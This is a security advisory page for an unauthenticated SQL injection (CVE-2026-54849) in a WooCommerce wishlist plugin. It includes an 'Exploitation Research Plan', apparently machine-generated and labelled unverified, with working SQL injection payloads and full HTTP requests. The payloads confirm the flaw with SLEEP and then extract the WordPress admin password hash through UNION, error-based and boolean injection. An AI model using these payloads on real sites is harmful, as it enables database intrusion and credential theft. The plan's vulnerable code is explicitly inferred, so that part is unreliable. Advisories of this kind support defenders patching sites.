CVE-2026-54849

Premmerce Wishlist for WooCommerce <= 1.1.11 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.1.12
Patched in
6d
Time to patch

Description

The Premmerce Wishlist for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.1.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.1.11
PublishedJune 18, 2026
Last updatedJune 23, 2026

What Changed in the Fix

Changes introduced in v1.1.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-54849 - Premmerce Wishlist for WooCommerce Unauthenticated SQL Injection ## 1. Vulnerability Summary The **Premmerce Wishlist for WooCommerce** plugin (versions <= 1.1.11) is vulnerable to an unauthenticated SQL injection. The vulnerability exists in the handl…

Show full research plan

Exploitation Research Plan: CVE-2026-54849 - Premmerce Wishlist for WooCommerce Unauthenticated SQL Injection

1. Vulnerability Summary

The Premmerce Wishlist for WooCommerce plugin (versions <= 1.1.11) is vulnerable to an unauthenticated SQL injection. The vulnerability exists in the handling of the key parameter used for the "Share Wishlist" functionality. When a user views a wishlist via its public sharing URL, the plugin queries the database using the provided key without sufficient sanitization (e.g., esc_sql) or preparation (e.g., $wpdb->prepare()). This allows an attacker to append arbitrary SQL commands to extract data from the database.

2. Attack Vector Analysis

  • Endpoint: The WordPress frontend page designated for wishlists (containing the [premmerce_wishlist] shortcode).
  • HTTP Parameter: key (via GET).
  • Authentication: Unauthenticated (None).
  • Precondition: The "Wishlist" page must be published and configured in the plugin settings.

3. Code Flow

The trace follows the processing of a shared wishlist link:

  1. Entry Point: An unauthenticated user requests GET /wishlist/?key=[PAYLOAD].
  2. Frontend Hook: The plugin's frontend controller (likely Premmerce\Wishlist\Frontend\Frontend) listens for the key parameter in the init or template_redirect hook.
  3. Model Call: The controller invokes a method in Premmerce\Wishlist\Models\WishlistModel (referenced in Admin.php), such as getWishlistByKey($key).
  4. Vulnerable Sink: Inside WishlistModel, the code constructs a raw SQL query:
    // Inferred logic in WishlistModel.php
    public function getWishlistByKey($key) {
        global $wpdb;
        $table = $wpdb->prefix . 'premmerce_wishlists';
        // Vulnerable: $key is interpolated directly without preparation
        return $wpdb->get_row("SELECT * FROM $table WHERE wishlist_key = '$key'");
    }
    
  5. Execution: $wpdb->get_row() executes the injected SQL.

4. Nonce Acquisition Strategy

  • Nonce Requirement: None.
  • Analysis: This vulnerability occurs in the public-facing "sharing" view. Because these URLs are meant to be shared with external users (who may not have sessions or accounts), the plugin does not enforce a WordPress nonce for the GET request that renders the shared wishlist.

5. Exploitation Strategy

The plan uses time-based blind injection to confirm the vulnerability and then UNION-based injection for data extraction.

Step 1: Confirmation via Time-Based Injection

  • Tool: http_request
  • Payload: ?key=nonexistent' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Request:
    GET /wishlist/?key=nonexistent%27+OR+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+- HTTP/1.1
    Host: [TARGET_HOST]
    
  • Expected Response: The server will delay the response by approximately 5 seconds.

Step 2: Determine Column Count

  • Payload: ?key=nonexistent' ORDER BY [N]-- -
  • Action: Iterate N from 1 upwards. When the page returns an error or changes behavior (e.g., "Wishlist not found"), the previous N is the column count. (Inferred count: 7-10 columns).

Step 3: Data Extraction via UNION Injection

  • Payload: ?key=nonexistent' UNION SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM wp_users WHERE ID=1-- -
  • Action: Adjust the position of user_pass until the admin hash appears in the HTML (e.g., where the Wishlist Title would be).
  • Request:
    GET /wishlist/?key=nonexistent%27+UNION+SELECT+1,2,user_pass,4,5,6,7,8,9,10+FROM+wp_users+WHERE+ID=1--+- HTTP/1.1
    Host: [TARGET_HOST]
    

6. Test Data Setup

  1. Plugin Activation: Install and activate premmerce-woocommerce-wishlist version 1.1.11.
  2. Page Setup: Ensure a page with the shortcode exists.
    wp post create --post_type=page --post_title="Wishlist" --post_name="wishlist" --post_status=publish --post_content='[premmerce_wishlist]'
    
  3. Config Sync: Set the plugin's wishlist page option.
    # WishlistPlugin::OPTION_PAGE constant usually maps to 'premmerce_wishlist_page'
    wp option update premmerce_wishlist_page $(wp post list --name="wishlist" --format=ids)
    

7. Expected Results

  • Time-based: Response time > 5 seconds confirms the injection point.
  • UNION-based: The WordPress admin password hash (starting with $P$ or $wp$) is reflected in the page body.

8. Verification Steps

  1. Confirm Target: Run wp user list --role=administrator to identify the admin user.
  2. Cross-reference: Execute a direct DB query to verify the extracted hash matches:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
    

9. Alternative Approaches

  • Error-Based Injection: If WP_DEBUG is enabled, use updatexml() to extract data faster:
    • ?key=1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
  • Boolean-Based Injection: If UNION fails due to layout constraints, use boolean checks against the page content:
    • ?key=valid_key' AND (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$')-- - (Check if "Wishlist found" remains in the response).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.